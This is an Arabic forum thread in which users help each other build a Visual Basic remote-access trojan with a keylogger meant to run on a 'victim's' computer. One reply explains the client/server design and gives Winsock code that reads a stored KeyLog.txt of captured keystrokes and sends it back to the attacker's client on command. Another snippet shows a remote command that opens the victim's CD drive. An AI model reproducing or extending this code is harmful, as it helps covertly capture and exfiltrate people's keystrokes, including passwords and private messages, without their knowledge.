سؤال للأخ X.sniper فى برمجه برامج الهاك

يجب ان ترسل كوماندز من ال Client الى ال Server

eg:

WinsockClient.SendData "OpenCDROM"

و في ال Server:

Private Sub WinsockServer_DataArrival(byval Byestotal as long)
Dim Data as string
WinsockServer.GetData Data
If Data = "OpenCDROM" then
افتح ال cd rom
end if
end sub

مشكووووووووووووووووور ياباشا

الله يوفقك

كان فى مشكله تانيه .. انا صنعت كاىلوجر وعاوز اخليه بدل ما يشتغل عندى يشتغل على الضحيه ممكن اعرف هعمل ايه بالضبط

وكمان الماتركس...

قم بحفظ الlogs على جهاز الضحية ثم ارساها الى ال Server

سهلة :)

انا قصدى احطهم ضمن برنامج الهاك اللى انا بسويه

فإزاى اضع الأكواد والمودلز ضمن السيرفر ؟

عند الانتهاء من عمل ال log لجهاز الضحية يجب عليك ان تحفظها بالجهاز في .txt و من ثم ارسالها الى جهاز ال Client

حيث ان الجهاز الذي يعمل على جهاز الضحية هو ال Server

عمل ال Ket Logger هو مهمة سهلة لكن تحتاج بعض الجهد :)

ممكن ايميلك عشان افهم :)

اخي افضل ان نناقش الموضوع على المنتدى لتحقيق الفائدة العظمى.

ساشرح كيفية عمل هذا الشئ الذي سألت عنه:

لبدأ ال keyboard logger يجب عليك ان تقوم بارسال كوماند من ال Client الى ال Server حيث ان ال server قد قام مسبقا بعملية ال Logging

الكوماند تكون كالتالي:

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
    Dim Data As String
    Dim Content As String
    Winsock1.GetData Data
    
    Select Case Data
        Case "GetKeyLogs"
            'check if there are any .txt files that contain logs
            If Dir(App.Path & "\KeyLog.txt") <> "" Then
                Open App.Path & "\KeyLog.txt" For Input As #1
                    Content = Input(LOF(1), #1)
                Close #1
                Winsock1.SendData Content
            End If
    End Select
End Sub

ارجو ان اكون قد افدتم اخي, انا اعرف ان الموضوع ليس سهلا لكني احتاجك ان تفكر بها جيدا و ستفهم جميع ما ذكرت :)

برضه للأسف مش فاهم ؟

الكود دا هحطه فى السيرفر ولا فى الكلينيت ؟

وانا اصلا جاهز عندى البرنامج نفسه يعنى فى بروجيكت لوحده ..

هل آخد الكود اللى فى زر Start واحطه فى السيرفر مثلا بإسم Keylogger

واكتب فى الكلينيت winsock.senddata = keylogger

ارجو التوضيح .. عشان افهم

وياريت وضح طريقه عمل Edit server

وابقى كده شااااكر لييك جدا

الكود المكتوي اعلاه يتم وضعه في الٍServer

اقترح قراءة درس ال Winsock في قسم ال VB الذي قمت بكتابهه

اوكى بس انت ما قلتلى طريقتى صح ولا لا بتاعت الكلينيت

winsock.sendata = keyloger

صح ولا لا

وكمان لو يبقى فى شرح لعمل edit server

لا اعرف طريقة ال Edit server

الكود

winsock.SendData KeyLogger

حيث ان المتغير KeyLogger يجب ان يحتوي على معلومات ال KeyLog

شكرا